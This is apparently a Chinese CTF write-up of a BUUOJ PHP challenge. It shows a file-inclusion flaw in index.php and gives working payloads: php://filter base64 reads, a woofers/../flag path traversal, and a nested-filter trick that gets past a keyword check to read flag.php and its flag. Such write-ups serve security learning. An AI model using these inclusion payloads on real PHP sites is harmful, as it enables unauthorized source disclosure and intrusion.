主要考察文件包含以及php://filter伪协议的一个小trick。题目很简单,但是因为不知道这个trick卡了很久,记录一下

进入题目看到有两个按钮,没有其他信息:

点击按钮显示出来一张图片,然后发现URL变成了:

http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers

怀疑是SQL注入或者是文件包含,随便输入一个值返回了PHP报错:

确定是文件包含漏洞,直接包含/flag发现包含不到,先用php://filter伪协议读一下index.php源码看看:

php://filter/read=convert.base64-encode/resource=index

(这里构造成php://filter/read=convert.base64-encode/resource=index.php是会报错的,因为后端给文件后拼接了“.php”)

得到index.php源码:

......<以上HTML省略>
<?php
  $file = $_GET['category'];
  
  if(isset($file))
  {
    if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串
      include ($file . '.php'); //参数后拼接.php
    }
    else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>
......<以下HTML省略>

利用include函数特性包含一下flag.php文件试试:

index.php?category=woofers/../flag

发现源码中多出了一些东西,说明flag.php被包含了进去:

接下来的问题就是如何读取到flag.php的源码。

这里卡了好久,后来请教了几位师傅才知道php://filter伪协议可以套一层协议,就像:

php://filter/read=convert.base64-encode/woofers/resource=index

这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含,得到Flag.php:

解码得到Flag:

<!-- Can you read this flag? -->
<?php
// flag{a4aaba40-84f9-4b7a-b269-d025b03676a1}
?>

最新文章

  1. ubuntu sudo update与upgrade的作用及区别
  2. 如何判断js中的数据类型
  3. Linux_磁盘管理
  4. Mysql备份迁移——Mysqldump(.NET调用Mysqldump.exe方式)——(解决视图嵌视图报错)
  5. HttpURLConnection请求网络数据
  6. 如何解决adb devices 端口被占用的问题zz
  7. glsl计算sprite的亮度饱和度对比度
  8. Java多线程之notifyAll的作用域
  9. java 反射机制探究
  10. 系统学下POWERSHELL吧,工作当中可能用得到呢。不能像以前那样修修改改了。
  11. VC,一条会被鼠标移动的直线
  12. 解释内存中的栈(stack)、堆(heap)和静态区(static area)的用法
  13. 终于开始我的java旅程了!
  14. Open Cygwin at a specific folder
  15. 我的WafBypass之道(SQL注入篇)
  16. 解决vue单页路由跳转后scrollTop的问题
  17. PSPnet模型结构的实现代码
  18. MS16-032 漏洞复现
  19. 第二阶段——个人工作总结DAY08
  20. [UE4]给Widget增加参数,Pre Construct和Construct的区别

热门文章

  1. 小伙子自从学会用Python爬取岛国“动作”电影,身体一天不如一天
  2. 018_go语言中的结构体
  3. 【av68676164(p41-p42)】内存管理功能
  4. 将Asp.Net Core3.1项目,使用Docker 部署到Centos 8
  5. 分析现有 WPF / Windows Forms 程序能否顺利迁移到 .NET Core 3.0
  6. Vue 父子组件表单同步校验
  7. ubuntu升级已安装git版本
  8. JavaScript基础-05-数组、Date对象、Math、包装类、字符串方法
  9. css两种常用的不定宽高的水平垂直居中方法,记住它,不再为样式发愁
  10. 作弊揭发者 C++